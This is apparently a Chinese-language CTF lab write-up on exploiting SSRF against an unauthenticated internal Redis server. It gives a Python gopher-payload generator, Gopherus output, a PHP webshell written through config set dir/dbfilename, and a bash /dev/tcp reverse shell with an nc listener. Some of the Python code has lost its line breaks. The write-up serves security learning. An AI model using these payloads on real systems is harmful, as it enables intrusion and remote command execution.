目录
环境搭建
编辑
发现内网存活主机
编辑
扫描内网端口
编辑
利用 Redis 未授权访问进行 Webshell 写入
步骤1:生成 payload
方式1:使用python生成 payload
方式二:使用 Gopher 工具
步骤 2:写入 Webshell(木马)
编辑
步骤 3:访问 Webshell 获取 flag
编辑
反弹 Shell 获取完整权限
步骤 1:修改 payload 生成反弹 Shell
步骤 2:监听端口
步骤 3:触发反弹 Shell
环境搭建
在本次实验中,我们使用 Docker 环境进行测试。
-
解压实验包,搭建
docker
环境。
docker环境
web的dockerfile
主要利用代码
redis服务器
-
通过
docker-compose up -d
启动相关容器,初次启动失败。
-
发现
docker
版本问题,删除docker
版本 3,并尝试重新拉取Ubuntu 16.04
版本:docker pull ubuntu:16.04
-
重新启动后,环境成功搭建,获取内网 IP。
发现内网存活主机
使用phpinfo来看内网IP地址
我们使用抓包工具检测内网存活主机,发现 172.18.0.2
存在 HTTP
服务,并返回 Go away
。
扫描内网端口
使用 burpsuite
对 172.18.0.2
进行端口扫描,发现 6379
端口返回 Redis
报错信息,说明目标主机上运行着 Redis
服务,并且可能存在未授权访问漏洞。
利用 Redis 未授权访问进行 Webshell 写入
步骤1:生成 payload
方式1:使用python生成 payload
我们利用 Redis
服务器的 config set dir
和 config set dbfilename
进行 Webshell 写入。
Python 脚本生成 gopher
协议 payload,用于 SSRF 发送 Redis 命令:
import urllib
protocol="gopher://"
ip="172.22.0.2" # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print(payload)
方式二:使用 Gopher 工具
GitHub 下载地址:Gopherus
该工具使用 Python2,生成 gopher
payload。记得安装
sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
# 下载并解压后运行 install.sh
./install.sh
生成paload
root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis________ .__/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \\______ /\____/| __/|___| /\___ >__| |____//____ >\/ |__| \/ \/ \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShell #木马语言Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. -----------Made-by-SpyD3r-----------
步骤 2:写入 Webshell(木马)
接下来我们将生成后的payload进行二次编码
然后访问
Redis 执行后,会在 /var/www/html/upload
目录生成 shell.php
,其中包含 webshell
代码。
步骤 3:访问 Webshell 获取 flag
成功写入 web.php
,使用 SSRF 访问它:
/?url=http://172.18.0.2/upload/web.php
Webshell 内容:
<?php system("cat /flag");?>
访问 web.php
后即可获取 flag
。
成功执行远程命令,获取 flag
。
反弹 Shell 获取完整权限
如果我们希望获取完整的交互式 Shell,可以利用 bash
反弹 Shell 技术。
步骤 1:修改 payload 生成反弹 Shell
我们修改 shell
代码,使其反弹 Shell:
<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>
步骤 2:监听端口
在本机开启 nc
监听:
nc -lvnp 4444
步骤 3:触发反弹 Shell
访问:
/?url=http://172.17.0.2/upload/web.php
成功获得 bash
交互式 Shell,即可进一步提权、查找 flag
。